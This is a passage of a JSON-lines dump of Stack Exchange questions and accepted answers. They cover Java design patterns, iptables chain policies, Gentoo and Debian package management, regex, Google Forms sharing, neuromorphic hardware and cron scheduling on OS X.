       Set<Reflexion> out = new LinkedHashSet<Reflexion>();        //Loop over all values for each axis.        boolean[] tf = {true, false};        for(boolean x : tf){            for(boolean y : tf){                for(boolean z : tf){                    out.add(new Reflexion(r, x, y, z));                }            }        }        return out;    }}"  , "title": "Reflection of an object in a 3D world"  , "tags": "java;coordinate system"  , "accepted_answer": "From what I understand, you want to make sure that new objects are not created when they are identical to what has been created before.This is relatively easy, and would include either having a static map or a map inside another object, such as a ReflectionFactory. I'd personally go with ReflectionFactory as I don't like static things when you can avoid them.Here's an example factory:public class ReflexionFactory {    private final Map<Integer, Reflexion> map = new HashMap<>();    public ReflexionFactory() {       for (boolean x : tf) {            for (boolean y : tf) {                for (boolean z : tf) {                    Reflexion refl = new Reflexion(this, x, y, z);                    map.put(refl.getKey(), refl);                }            }        }    }    private Reflexion getReflection(int value) {        return map.get(value);    }    Reflexion get(boolean x, boolean y, boolean z) {        int value = 0;        if (x) value += 1;        if (y) value += 2;        if (z) value += 4;        return get(value);    }    public Set<Reflexion> all(Reflexion r) {        ...        for (boolean x : tf) {            for (boolean y : tf) {                for (boolean z : tf) {                    out.add(this.get(x, y, z));                }            }        }        return out;    }}Some changes in the Reflexion class:public class Reflexion {    Reflexion(ReflexionFactory factory, boolean x, boolean y, boolean z) {        this.factory = factory;        ...    }    public int getKey() {        int value = 0;        if (isFlippedX()) value += 1;        if (isFlippedY()) value += 2;        if (isFlippedZ()) value += 4;        return value;    }}There are a few methods I've left up to you to implement, but I hope you get the idea of them.So what is the most important change?The idea is to keep a map of all created reflections, stored with an id, and when you previously created the new reflection, you look them up through the factory (which contains the map).Essentially, this creates what would be called a Multiton. A class which has a limited amount of instances. (Compared to a singleton which only has one instance)"  } 
{  "id": "_unix.46029"  , "question": "I currently have my OUTPUT chain set to DROP. I'd like to change it to REJECT, so that I have a clue that it's my firewall stopping me from getting somewhere rather than a problem with whatever service I'm attempting to access (immediate reject instead of timing out). However, iptables doesn't seem to care for this. If I manually edit my saved rules file and try to restore it, I get iptables-restore v1.4.15: Can't set policy 'REJECT' on 'OUTPUT' line 22: Bad policy name and it refuses to load the rules. If I attempt to set this manually (iptables -P OUTPUT REJECT), I get iptables: Bad policy name. Run 'dmesg' for more information. but there's no output in dmesg.I've confirmed the appropriate rule is compiled into the kernel and I've rebooted to ensure it's loaded:# CONFIG_IP_NF_MATCH_TTL is not setCONFIG_IP_NF_FILTER=y***CONFIG_IP_NF_TARGET_REJECT=y***CONFIG_IP_NF_TARGET_LOG=yCONFIG_IP_NF_TARGET_ULOG=y(Asterisks added to highlight applicable rule)Everything I can find states that REJECT is a valid policy/target (in general), but I can't find anything that says it's not valid for the INPUT, FORWARD, or OUTPUT chains. My Google-fu isn't helping. I'm on Gentoo, if that makes any difference. Anyone here have any insight?"  , "title": "Why can't I use the REJECT policy on my iptables OUTPUT chain?"  , "tags": "networking;iptables;gentoo"  , "accepted_answer": "REJECT is a target extension, while a chain policy must be a target. The man page says that (although it's not really clear), but some of what it says is flat wrong.The policy can only be ACCEPT or DROP on built-in chains. If you want the effect of rejecting all the packets that don't match the previous rules, just make sure the last rule matches everything and adds a rule with a REJECT target extension. In other words, after adding all relevant rules, do iptables -t filter -A OUTPUT -j REJECT.See the what are the possible chain policies thread on the netfilter list for more details."  } 
{  "id": "_unix.82021"  , "question": "Hunting for dependencies when compiling software from the scratch is practically unavoidable. In Debian-based Linux distributions which use the apt-get utility to manage packages, there is also a nice command named apt-file. One can use it to search for (missing/wanted) files inside packages to actually trace the required package(s).Is there an equivalent functionality in Gentoo's/Funtoo's portage system?"  , "title": "What is the equivalent of apt-file in portage, if any?"  , "tags": "package management;apt;gentoo;dependencies;funtoo"  , "accepted_answer": "emerge pfl && e-file filenameYou need to use the full file name (It also supports full path), it doesn't do partial matches as that would yield too many results; probably to spare bandwidth. For such cases you can indeed resort to running description, eg. eix -S glw or the others mentioned in the other answer. http://wiki.gentoo.org/wiki/Pfl"  } 
{  "id": "_codereview.86278"  , "question": "I am going through the CodingBat exercises for Java. I got to this problem:Return a version of the given string, where for every star (*) in the string the star and the chars immediately to its left and right (if any) are gone. So ad, ab*cd, ab**cd, *ead, and ade* all yield ad. I decided to solve this using regular expressions. Here is my code:public String starOut(String str){    String s =   + str +  ; //Avoiding OOB exceptions.    String n = ; //Used for replacements of s.    if (s.contains(***)) {        n = s.replaceAll(.[*][*][*]., );        s = n;    }    if (s.contains(**)) {        n = s.replaceAll(.[*][*]., );        s = n;    }    if (s.contains(*)) {                  n = s.replaceAll(.[*]., );    }    String theOne = n.replaceAll(\\\\s, ); //Remove whitespace created by s declaration.    return theOne;}My code is inefficient and repetitious, and does not account for situations of a string containing more than three * adjacent to each other. I can't help feeling like I'm missing something obvious of regex that would be a beautifully logical solution.What would be a good solution to ensure my code utilises regex in an efficient and sensical way? Would it be more appropriate to solve this by looping through characters in the original string?"  , "title": "Removing Asterisks and neighbors from a string"  , "tags": "java;beginner;strings;regex"  , "accepted_answer": "Regular expressions are the right tool for this sort of problem, and your suspicions that your code is not great, is about right.... there's the + operator in regular expressions which will do what you want much more concisely. + matches 1-or-more times.Consider the simple expression:String compact = raw.replaceAll(.?\\\\*+.?, );That replaces all something-stars-something patterns with nothing.Note, this pattern will have the following results:ab*cd     adab***cd   ada**b      ab****    aetc.The way the expression works is as follows:Key features of the regex are:\\\\*+ - * is normally a special character. We have to escape it with \\\\ to make it a normal *. The + is a 1-or-many match. What does this mean? It means that the expression \\\\*+ will match at least one * character, perhaps many of them in a row..? this is a non-greedy 0-or-1 match of any character. This requires some explaining. This will match at most 1 character, but, if the overall pattern will fail to match something, then the pattern can be tried again but matching nothing. What it means, is: if possible, match 1 character - any character (including *)Putting them together, you get an expression that matches any character, if there is one, before an asterisk, as well as the asterisk, and any other asterisks that follow it, and finally any other character, if there is one.See this in an ideone here: http://ideone.com/6yMSvx"  } 
{  "id": "_codereview.152089"  , "question": "I'm struggling to improve this command-line java application, which reads CSV or txt files, ands allows the user do some queries with the data. I can't use any external library, so I'm doing it all and now I'm trying to do some refactoring on it, to let it be scalable, and maybe in the future I could add some new commands / queries. I tried some design patterns like builders, interfaces and etc ..., but it does not seem right.Do you have any tip to abstract this in some elegant way? I will post the first working version of the application to you guys give it a look:Reader.java - this class reads the file and returns an array with all the rows and each row another array in which it will store each attribute of the row:public class Reader {    public ReaderConfig readerConfig;       public Reader(ReaderConfig readerConfig){        this.readerConfig = readerConfig;    }    public List<String[]> read() {        List<String[]> rows = new ArrayList<String[]>();        try {            BufferedReader br = new BufferedReader(new FileReader(readerConfig.getPath()));            String row = ;            while ((row = br.readLine()) != null) {                String[] properties = row.split(readerConfig.getDelimiter());                rows.add(properties);            }            br.close();        } catch (IOException ex) {            ex.printStackTrace();        }        return rows;    }}ReaderConfig.java - It will parameterize Reader.java, based on user input:public class ReaderConfig {    private String path;    private String delimiter;    private boolean hasHeader;    private Scanner scanner = new Scanner(System.in);    public void setPathFile() {        System.out.println(Enter the full path of the file );        String input = scanner.nextLine();        if(FileUtils.isFileExtensionValid(FileUtils.getFileExtension(input))){            try {                new FileReader(input);                this.path = input;            } catch (FileNotFoundException e) {                System.out.println(Invalid file path!!);                setPathFile();            }        }else{            System.out.println(Invalid extension! Avaliable extension: .txt and .csv);            setPathFile();        }    }    public void setDelimiter() {        System.out.println(Enter the delimiter used by file (Example ;));        String input = scanner.nextLine().trim();        if(input.length() == 0){            System.out.println(Invalid delimiter!);            setDelimiter();        }        this.delimiter = input;    }    public void setHasHeader() {        System.out.println(Does the file have header? (Y/N));        String input = scanner.nextLine().trim().toUpperCase();        if(InputUtils.isBooleanInputValid(input)){            this.hasHeader = InputUtils.evalInputToBoolean(input);        }else{            System.out.println(Invalid command!);            setHasHeader();        }    }    /** GETTERS */    public String getPath() {        return path;    }    public String getDelimiter() {        return delimiter;    }    public boolean hasHeader() {        return hasHeader;    }}And last but not least, the main class that will run the application:public class Main {    public static void main(String[] args) {                ReaderConfig readerConfig = new ReaderConfig();                   Reader reader = new Reader(readerConfig);        List<String[]> data = reader.read();        System.out.println(File loaded...);        //Header information         String[] headers = {};        if(readerConfig.hasHeader()){            headers = data.get(0);            System.out.println(Avaliable headers:  + Arrays.toString(headers));        }        //Listen console for commands:        Scanner scanner = new Scanner(System.in);         while (true) {             System.out.println(Enter a command (or QUIT to exit): );             String input = scanner.nextLine();             if(input.toLowerCase().equals(quit)){                 scanner.close();                 System.out.println(Bye.);                 break;             } else if(input.equals(select *)){                 System.out.println(Total records:  + data.size());             } else if(input.matches(select distinct)){                 int headerIndex = -1;                                if(headers.length > 0) {                     headerIndex = Arrays.asList(headers).indexOf(getParameter(select distinct, input));                 }else{                     //If not have a header, check if the column index has been passed as parameter                     String isNumberRegex = \\\\d+;                     String parameter = getParameter(count distinct \\\\[(.*?)\\\\], input);                     if(parameter.matches(isNumberRegex)){                         headerIndex = new Integer(parameter);                     }                 }                 if(headerIndex != -1){                     Set<String> set = new HashSet<String>();                     for(String[] props : data){                         set.add(props[headerIndex]);                     }                     System.out.println(Total records:  + set.size());                  }else{                     System.out.println(Header not found!);                 }             } else if(input.matches(filter) && headers.length > 0) {                 int propIndex = Arrays.asList(headers).indexOf(getParameter(filter, input));                 String value = getValue(filter, input);                 System.out.println(headers[propIndex]);                 int cont = 0;                 for(String[] test : data){                     if(Arrays.asList(test).contains(value)){                         System.out.println(Arrays.toString(test));                         cont++;                     }                 }                 System.out.println(Total rows found:  + cont);             } else if(input.equals(help)){                System.out.println(Avaliable commands: \\n                        +  select * - Display the total of rows imported.\\n                        +  select distinct - Displays the total of distinct rows based on a entered header.\\n                        +  select [header] [value] - Display the header and all his rows based in the value entered.                        +  quit - Quit the application. \\n);             }else{                 System.out.println(Invalid command!);             }        }    }      public static String getParameter(String pattern, String input){        String header = ;        Pattern p = Pattern.compile(pattern);        Matcher m = p.matcher(input);        while(m.find()) {            header = m.group(1);        }        return header;    }    public static String getValue(String pattern, String input){        String value = ;        Pattern p = Pattern.compile(pattern);        Matcher m = p.matcher(input);        while(m.find()) {            value = m.group(2);        }        return value;    }}"  , "title": "Simple query language for CSV files"  , "tags": "java;csv;dsl"  } 
{  "id": "_softwareengineering.284218"  , "question": "I plan to provide additional functions for a closed-source 3rd party point of sales application. That application is used in restaurants, is run on Windows and uses dbase style databases. I know the details about the database structure (hey, it's DBase, so no big deal ;-)) and am able to read and correlate tables.The application is run behind a firewall neither I nor most of the clients can influence, so opening incoming ports on the firewall is not possible.The additional functions I provide shall be either used in an externally hosted web application or an App on a smartphone (iOS or Android does not matter here, I will most likely use Apache Cordova for this)My problems is getting the data out. In my current design / architecture I plan to use MQTT to publish data from the customers site to a server located on the Internet where it can be retrieved by the App / application.Unfortunately I have no experience with MQTT and do not know if it would be better to take a different approach / alternative and only use MQTT for publishing data and add an additional REST layer for the application / App.Here is my criteria for making MQTT the right decisionsupport authentication for publishing and retrieving data (no oneshall be able to forge data or retrieve data for a site he or she isnot entitled to see)use as little bandwidth as possible (both my server and the dataplan for the smartphone running the App have a limit and I or the user will be charged for bandwidth used beyond that limit)be a good fit for various and complex JSON structures (from the picture you can see which kind of information I want to transport, they can be several kilobyte in size)support retrieving data using REST (I read that MQTT can be used from Javascript and in a REST style but have no deeper experience with that)allow signalling of updates from site to userallow listing (a user should be able to use REST in order to retrieve a list of sites he is entitled too) and filtering (when for example getting details about a clerk the user should be able to set a filter to the name of the clerk)My biggest question is if MQTT will be usable from the web application / App in an elegant way. I could relatively easily add my own REST layer on the right side of the picture but I do not want to overcomplicate my design"  , "title": "Will using a pure MQTT approach be the right decision?"  , "tags": "java;architecture;rest"  } 
{  "id": "_scicomp.24080"  , "question": "Suppose I have a real symmetric matrix. I would like to tell wether it has at least $k$ strictly positive eigenvalues, but using only additions (no multiplications). Is there a method that I could use? I thought that maybe Gershgorin theorem could be useful, since I need only to add row (or column) elements, but it doesn't guarantee that eigenvalues are different from zero: for example,$$M = \\begin{pmatrix}1  & -1 & 0 & 0\\\\-1 &  3 & -1 & -1\\\\0  & -1 & 2 & -1\\\\0  & -1 & -1 & 2\\end{pmatrix}$$has eigenvalues $0,1,2,4$, but Gershgorin's theorem would give me estimates$$\\begin{align*}1 \\pm 1 &= [0,2]\\\\3 \\pm 3 &= [0,6]\\\\2 \\pm 2 &= [0,4]\\\\2 \\pm 2 &= [0,4]\\end{align*}$$and I wouldn't know, looking at the estimates only, wethere there is any eigenvalue $>0$."  , "title": "Is there an eigenvalue estimation method more accurate than Gershgorin's, which uses no multiplication?"  , "tags": "linear algebra;eigenvalues"  } 
{  "id": "_codereview.2885"  , "question": "I'm trying to create an app for the Palm Pre.  It is a prayer app, more specifically a rosary app.  If you are not a Catholic, a rosary is kind of like a necklace on which you count beads. What I'm trying to do:You click on one of 4 buttons to select one of 4 sets of mysteries.The page then displays the title of the set of mysteries (except in a few cases)the title of the individual mysterythe prayer that goes with it the bead you are onEach page has a button, Next Bead, which you click to advance to the next prayer and bead.The routine goes like this:Before the mysteries Apostles Creed, Our Father, three Hail Marys, Glory Be, and Fatima prayerThen, for each individual mystery Our Father, ten Hail Marys, Glory Be, and Fatima prayer this cycle will repeat 5 times for each of 5 mysteries.After the mysteries - Hail Holy QueenWhat I'm concerned about:First, I'm not sure I have the best set up for the buttons at the beginning.  With the phone SDK, the phone will have to 'listen' for which button is pressed.  Did I set this up right?Second, I have all of these if statements set up to pick which prayer occurs with which bead.  Is this the most efficient way to do this?All thoughts are appreciated.<script type=text/javascript>var chaplet=new Array(The Joyful Mysteries,The Luminous Mysteries,The                       Sorrowful Mysteries,The Glorious Mysteries);var mystery=new Array();mystery[0]=new Array(Annunc,Visit,The Nativ,Present,Temple);mystery[1]=new Array(Baptism,Wedding, Kingdom,Transfig,Eucharist);mystery[2]=new Array(Agony,Scourging,Crowning,Carrying, Crucif);mystery[3]=new Array(Resurr,Ascension,Spirit,Assumption,Coronation);var creed=I believe...var ourFather=Hallowed bevar hailMary=Blessed are thouvar gloryBe=As it wasvar fatima=Oh my Jesusvar hailHolyQueen=To thee do we cryvar dec=0;var beadCount=0;var mys=0;var bead=0;function nextBead(){eventSrcID=(event.srcElement)?event.srcElement.id:'undefined';if (eventSrcID=='joy') mys=0;if (eventSrcID=='lum') mys=1;if (eventSrcID=='sor') mys=2;if (eventSrcID=='glo') mys=3;if (beadCount==0)    {    div1.innerHTML=Apostles Creed;    div2.innerHTML=;    div3.innerHTML=<p>+creed+</p>;    div4.innerHTML=Cross;    }else if (beadCount==1)    {    div1.innerHTML=Our Father;    div2.innerHTML=;    div3.innerHTML=<p>+ourFather+</p>;    div4.innerHTML=Decade 0 Bead +beadCount;    };else if (beadCount<=4)    {    div1.innerHTML=For Faith, Hope and Charity;    div2.innerHTML=;    div3.innerHTML=<p>+hailMary+</p>;    div4.innerHTML=Decade 0 Bead +beadCount;    };else if (beadCount==5)    {    div1.innerHTML=Glory Be;    div2.innerHTML=;    div3.innerHTML=<p>+gloryBe+</p>;    div4.innerHTML=Decade 0 Bead +beadCount;    };else if (beadCount==6)    {    div1.innerHTML=Fatima Prayer;    div3.innerHTML=<p>+fatima+</p>;    div4.innerHTML=Decade 0 Bead +(beadCount-1);    };else if (beadCount==72)    {    div1.innerHTML=Hail Holy Queen;    div2.innerHTML=;    div3.innerHTML=<p>+hailHolyQueen+</p>;    div4.innerHTML=Medal;    };else if (beadCount>6 && beadCount<72)       {    div1.innerHTML=<p>+chaplet[mys]+</p>;    div2.innerHTML=<p>+mystery[mys][dec]+</p>;    if (bead==0)        {         div3.innerHTML=<p>+ourFather+</p>;        div4.innerHTML=<p>Decade +(dec+1)+ Bead +bead+</p>;        };    else if (bead<=10)         {        div3.innerHTML=<p>+hailMary+</p>;        div4.innerHTML=<p>Decade +(dec+1)+ Bead +bead+</p>;        };    else if (bead==11)         {        div3.innerHTML=<p>+gloryBe+</p>;        div4.innerHTML=<p>Decade +(dec+1)+ Bead +bead+</p>;        };    else if (bead==12)        {        div3.innerHTML=<p>+fatima+</p>;        div4.innerHTML=<p>Decade +(dec+1)+ Bead +(bead-1)+</p>;        };    bead++;    if (bead==13) bead=0;    if (bead==0) dec=dec+1;};beadCount++;div5.innerHTML=<input type='button' value='Next Bead' onclick='nextBead()' />;};</script></head><body><div id=div1><input type=button id=joy value=The Joyful Mysteries onclick=nextBead() /><br /></div><div id=div2><input type=button id=lum value=The Luminous Mysteries onclick=nextBead() /><br /></div><div id=div3><input type=button id=sor value=The Sorrowful Mysteries onclick=nextBead() /><br /></div><div id=div4><input type=button id=glo value=The Glorious Mysteries onclick=nextBead() /><br /></div><div id=div5></div></body>    "  , "title": "Rosary app for the Palm Pre"  , "tags": "javascript"  } 
{  "id": "_unix.285177"  , "question": "Can we add a Manjaro repository to Arch-Linux, or is it different from how arch-repos work? If so, how can we do it?"  , "title": "Can we add Manjaro repository to Arch-Linux?"  , "tags": "arch linux;pacman;manjaro"  } 
{  "id": "_webapps.19727"  , "question": "I'm using Google Docs to build a survey as a form for various recipients to take. The form itself is built and, as a form, functions magnificently. (Seriously, it's a work of art. I'm really good at surveys.) I'm using my Google Enterprise account to make the form and collect the data. I had set the privacy settings such that anyone with an @stackoverflow.com account could discover the spreadsheet. When I tried to send it to someone outside of @stackoverflow.com they kept having to request permission for the file, and then she would see the spreadsheet rather than the form. I altered the privacy settings (anyone with a link can view) but I'm worried that once I start sending this to the number of people that I need to, I'll continue to have the spreadsheet-visibility problem.How do I send out the form so that survey-takers see only the form and not the spreadsheet? Will I need to publish to web or alter the privacy settings further?I thought perhaps I could get around this by embedding the survey form in a website, a Google Sites page to be exact, that I made in my personal email account. However, when I tried that, copying the embed code from the app and everything, I see this: Which is exactly the same error I get everywhere. If it's my form's privacy settings, how the heck do I alter those? Is it because I'm on Google Enterprise? Should I rebuild this form on my personal account? "  , "title": "When sharing a Google form, how can recipients see the form and not the spreadsheet?"  , "tags": "google forms"  , "accepted_answer": "There are different ways you can view a document made in Google Appsdocs.google.com/spreadsheet/pubdocs.google.com/a/domain.com/spreadsheet/viewform?formkey=FORMIDdocs.google.com/spreadsheet/viewform?formkey=FORMIDEmbed on domain of applicationWhere 2 redirects to 3. Option 1 is most likely what you want users to see.Option 1 is found via File > Publish to Web. Here you should see the choice to let users sign in with their domain.com account. This is greyed out but we will deal with this a little later on Thus if I am no signed with a domain.com I will get the request page. You will need to go to Form > Edit Form and change the sign-in option to view the form (not the spreadsheet). Now depending on your visibility settings you may get a pop-up asking whether the form should be seen outside of domain.com. If you wanted Option 4, don't deselect this option. You will need to get this on the domain itself so for example domain.com/form.html. Using a Google sites for example https://sites.google.com/a/domain.com/test/ to handle the form will not work.If you selected the uncheck the sign-in to view form, Option 3 should now work.To get Option 1 working the admin of the Apps account needs to go in the Dashboard settings and manually enable it. Note changes will take a while to propagate, be patient with this change in the dashboard"  } 
{  "id": "_softwareengineering.245757"  , "question": "The required user interface is fairly simple; basically, two tables that interact with each other, e.g. certain rows in one table get highlighted when a row in the other is clicked, plus maybe a panel with charts.Is it possible to have a (largely) single code base for a desktop app and a web app implementing this interface? For a few reasons, it would be good to have both versions, but I would hate to implement the GUI twice.The details of my particular case are as follows:This is an academic research problem, so I don't have strict constraints in terms of tools and the coding style (or users!). On the other hand, I do have quite some time constraints.It has to run on bare JVM, but any language/framework would be welcome (Java, Groovy, Scala, Clojure, etc.).There is no persistent state, i.e. no strict need in a shared DB or any server part whatsoever.I would be willing to go through some design hoops to make it work (by design hoops I mean some unconventional application architecture).Is it completely crazy to even think about something like that? If no, what would be the tools to pull it off?"  , "title": "Is it possible to have a single code base for a desktop GUI and a web application?"  , "tags": "java;web development;gui;jvm"  , "accepted_answer": "A browser is a desktop application, its very easy to pack your war with and embebed server (with jetty its really easy), this way you can run your app in a stand-alone machine.If you want two versions, web and desktop, its because one of this versions gives things to your users that the other versions cannot give, if you are thinking in a automatic way of having the two GUI's its because you are thinking in having basically the same app in the browser and in the desktop version, why you are thinking in wasting your time for building the same thing twice?In resume, the problem its not thinking in an automatic way of having two guis, the real problem its thinking in why do you want this two versions in the first place."  } 
{  "id": "_codereview.17914"  , "question": "I have a gridview with CheckBox inside it.  When the user selects a row and clickson a button, a message is sent for the specific user.How can this be optimized?protected void btnSendSMSForSpeceficUser_Click(object sender, EventArgs e)    {        using (NoavaranModel.NoavaranEntities1 dbContext=new NoavaranModel.NoavaranEntities1())        {            int userId = Int32.Parse(Session[UserId].ToString());            var query = (from p in dbContext.Users                         where p.UserId == userId                         select p.CountOfSMS).FirstOrDefault();            var query2 = (from p in dbContext.Users                          where p.UserId == userId                          select p).FirstOrDefault();            int j = 0,sendCount=0;            for (int i = 0; i <= grdStudents.Rows.Count - 1; i++)            {                string MobileNumbers = grdStudents.Rows[i].Cells[2].Text;                int stID = Int32.Parse(grdStudents.Rows[i].Cells[0].Text);                var query3 = (from p in dbContext.Students                              where p.Id == stID                              where p.IsRecivedSMS==false                              select p).FirstOrDefault();                GridViewRow row = grdStudents.Rows[i];                CheckBox Ckbox = (CheckBox)row.FindControl(chkSelectStudents);                if (Ckbox.Checked)                {                    j++;                    if (j <= query) {                        sendCount++;                        Utility.SendMessageForStudents(MobileNumbers, txtMessage.Text);                        query3.IsRecivedSMS = true;                    }                }            }            query2.CountOfSMS = query.Value - sendCount;            dbContext.SaveChanges();            ListBox1.Items.Add(sendCount.ToString());        }    }"  , "title": "Sending a message based on selected row"  , "tags": "c#;asp.net"  , "accepted_answer": "I'm not sure of everything (worked with notepad) but:protected void btnSendSMSForSpeceficUser_Click(object sender, EventArgs e){    using (NoavaranModel.NoavaranEntities1 dbContext = new NoavaranModel.NoavaranEntities1())    {        var userId = int.Parse(Session[UserId].ToString());        var user = dbContext.Users.FirstOrDefault(p => p.UserId == userId);        var countOfSms = user.CountOfSMS.Value;        var j = 0;        foreach (var row in grdStudents.Rows)        {            var cells = row.Cells;            var MobileNumbers = cells[2].Text;            var stID = int.Parse(cells[0].Text);            var student = dbContext.Students.FirstOrDefault(p => p.Id == stID && !p.IsRecivedSMS);            var Ckbox = (CheckBox)row.FindControl(chkSelectStudents);            if (Ckbox.Checked)            {                j++;                if (j <= countOfSms) {                    Utility.SendMessageForStudents(MobileNumbers, txtMessage.Text);                    student.IsRecivedSMS = true;                    user.CountOfSMS = countOfSms - 1;                }            }        }        dbContext.SaveChanges();        ListBox1.Items.Add(sendCount.ToString());    }}This is a cleaner version of your code with less query (the first was unneccesary) and inside the loop you are making a lot of small query which can be really bad but first you have to modify your code to not work directly with the context in you page code but through an interface (first iterate through the rows and get all data then pass them to the worker (which can work with the context) and return the result & update the UI)."  } 
{  "id": "_unix.110429"  , "question": "I'm running Debian 7.3 and I built Python 2.7.6 from source and it was installed in /usr/local/lib/python2.7 I used checkinstall to create a .deb package so I can easily uninstall it later, the problem is that I named the package python, but if I try to remove it it'll remove all the other packages that depend on python, so now I removed the installed files manually but the package is still showing in Synaptic package manager and also if I run:apt-cache show pythonI can see the 2 descriptions, the one I installed and the default one, also in Synaptic I can see it under Status > Installed (local or obsolete).So how can remove this package without removing the original python package ? it's showing 2 versions 2.7.6 (my own version) and 2.7.3 (the system's version), can I remove 1 version and keep the other ?"  , "title": "How to remove a package built from source that has the same name of another package?"  , "tags": "debian;package management"  , "accepted_answer": "You should just install the python version from the repositories. Lets assume the following:apt-cache policy pythonpython:  Installed: 2.7.6  Candidate: 2.7.6  Version table: *** 2.7.6 0        100 /var/lib/dpkg/status     2.7.3 0        500 http://ftp.us.debian.org/debian/ stable/main i386 PackagesIn this case, the package installed isn't available in any of the repositories. Then what we should do is downgrade the package using apt-get:sudo apt-get install python/stableorsudo apt-get install python=2.7.3orsudo apt-get -t stable install pythonThis will downgrade the package seamlessly. Next time append to the package some version name like this python2.7.6 to prevent this."  } 
{  "id": "_unix.180773"  , "question": "I need to format a brand new Micro SD card of extended capacity into FAT32.I've read that formatting SD cards of 64/128 GB requires special tools.How can I format in my Linux machine an SD card of 64/128 GB?I've formatted a 16GB USB stick with Gparted, does it work also with a larger MicroSDXC card?"  , "title": "How to format a microSDXC card into Fat32?"  , "tags": "filesystems;sd card;fat32"  } 
{  "id": "_ai.2203"  , "question": "If neurons and synapses can be implemented using transistors, what prevents us from creating arbitrarily large neural networks using the same methods with which GPUs are made?In essence, we have seen how extraordinarily well virtual neural networks implemented on sequential processors work (even GPUs are sequential machines, but with huge amounts of cores). One can imagine that using GPU design principles - which is basically to have thousands of programmable processing units that work in parallel - we could make much simpler neuron processing units and put millions or billions of those NPUs in a single big chip. They would have their own memory (for storing weights) and be connected to a few hundred other neurons by sharing a bus. They could have a frequency of for example 20 Hz, which would allow them to share a data bus with many other neurons.Obviously, there are some electrical engineering challenges here, but it seems to me that all big tech companies should be exploring this route by now.Many AI researchers say that super intelligence is coming around the year 2045. I believe that their reasoning is based on moores law and the number of neurons we are able to implement in software running on the fastest computers we have.But the fact is, we today are making silicon chips with billions of transistors on them. SPARK M7 has 10 billion transistors.If implementing a (non-programmable) neuron and a few hundred synapses for it requires for example 100 000 transistors, then we can make a neural network in hardware that emulates 100 000 neurons.If we design such a chip so that we can simply make it physically bigger if we want more neurons, then it seems to me that arbitrarily large neural networks is simply a budget question.Are we technically able to make, in hardware, arbitrarily large neural networks with current technology?Remember: I am NOT asking if such a network will in fact be very intelligent. I am merely asking if we can factually make arbitrarily large, highly interconnected neural networks, if we decide to pay Intel to do this? The implication is that on the day some scientist is able to create general intelligence in software, we can use our hardware capabilities to grow this general intelligence to human levels and beyond."  , "title": "Arbitrarily big neural network"  , "tags": "neural networks;recurrent neural networks;hardware"  , "accepted_answer": "The approach you describe is called neuromorphic computing and it's quite a busy field. IBM's TrueNorth even has spiking neurons. The main problem with these projects is that nobody quite knows what to do with them yet. These projects don't try to create chips that are optimised to run a neural network. That would certainly be possible, but the expensive part is the training not the running of neural networks. And for the training you need huge matrix multiplications, something GPUs are very good at already. (Google's TPU would be a chip optimised to run NNs.)To do research on algorithms that might be implemented in the brain (we hardly know anything about that) you need flexibility, something these chips don't have. Also, the engineering challenge likely lies in providing a lot of synapses, just compare the average number of synapses per neuron of TrueNorth, 256, and the brain, 10,000.So, you could create a chip designed after some neural architecture and it would be faster, more efficient, etc , but to do that you'll need to know which architecture works first. We know that deep learning works, so google uses custom made hardware to run their applications and I could certainly imagine custom made deep learning hardware coming to a smartphone near you in the future. To create a neuromorphic chip for strong AI you'd need to develop strong AI first."  } 
{  "id": "_codereview.162252"  , "question": "I have a promise where I'm taking the eventual result from the callback and storing it in a value that's scoped outside of the current block in a before hook, all in one line, like this.describe('mongo stuff', () => {  let project;  before(() => {    return mongo.findFirst('projects').then(data => project = data);  });  it('should have the correct company name', () => {      expect(project.projectName).to.equal('Company1');  });});Note: Mocha, the test runner I'm using, understands promises. That means, placing a return statement before a promise in a before hook, or in an it test, will halt the execution of the next task in the mocha test runner until the promise has been resolved. In other words, data => project = data will always completely execute before any tests that evaluate the contents of project are run.I use data as a temp variable just so I can assign it to the higher-scoped project variable. This lets me use it in some later test like in the example above.    I was told in a code review that using an assignment as an expression isn't as clear as writing it out.return mongo.findFirst('projects').then(data => {    project = data;});Which do you think is better? Do you have any solid justification for avoiding the one-liner?"  , "title": "Javascript assignment as expression in fat-arrow one-liner"  , "tags": "javascript;ecmascript 6;mocha"  } 
{  "id": "_webmaster.9908"  , "question": "Possible Duplicate:What are the most important things I need to do to encourage Google Sitelinks? Hello,I am new to search engine optimization. I am working on customizing how my results appear in Google as best as possible. I have learned about the meta tags to customize the text summary. However, I have some hierarchical parts to my website. When a result appears related to the tip-of-the-iceberg, I would like to show links related to the child pages. For instance, if you Google Walmart you will see the following links listed with the result:ElectronicsTV & VideoDepartmentsFurnitureToysGirlsLiving RoomComputersIs there any way that I can help Google determine which links to show and the text to display for these child links on my site? Or is this something that Google automatically generates?thanks! "  , "title": "Formatting Google Search Result"  , "tags": "seo;google"  , "accepted_answer": "You mean this?You don't control whether or not Google shows this mini navigation menu for your site. Google decides to show it if your site is deemed popular and authoritative enough. In practice, unless you're a major brand, it's not going to show up.You might also want to look at How do I get Google to show links to my site hierarchy in search results?"  } 
{  "id": "_webapps.108815"  , "question": "I know how to add external calendars (in .ics format) to Google Calendar manually. Is there any way to do it from within a Google Apps Script? That is, is there a command that imports from a provided .ics file? I'd like to build a script that triggers on a regular basis and imports all events from a particular .ics file over a particular timeframe."  , "title": "Can a Google Apps Script get events from a .ics file"  , "tags": "google apps script;google calendar"  } 
{  "id": "_unix.255434"  , "question": "I'm still quite new you Mac and OS X but do have some background about other UNIX based systems, so please excuse for any misunderstandings.My goal is to implement a function that executes certain tasks at certain times, a typical cron job behaviour. For example, I'd like to backup a specific directory once a month and move it into my Google Drive directory.All these scripts (bash) are there and work when executing them via the terminal. I used the .bash_profile file in my home directory to scan the directory containing the scripts, making them executable and added them to the $PATH global so that I can call them directly via the terminal, using this:## Make scripts executablesfor file in `find $HOME/Scripts/Bash -name '*'`; do    chmod +x $file;done## Include custom bash scriptsPATH=$PATH:$HOME/Scripts/BashHowever, my goal now is to schedule the execution of these tasks. I've stumbled upon CronniX which is exactly was I had been looking for. Unfortunately the commands that work in the terminal no longer work in CronniX.Here are two screenshots with a sample custom function (ttouch; it does the same as touch) to compare:Above: After using ttouch in terminal. File successfully created.Above: Using CronniX with the same command as used in terminal. No file created. Same happens with sudo prepended.So, my final question: Does anyone know how I can achieve this scheduling process? Your help would be much appreciated."  , "title": "Schedule (Cron) executing tasks based on bash scripts using CronniX"  , "tags": "shell;shell script;osx;macintosh"  } 
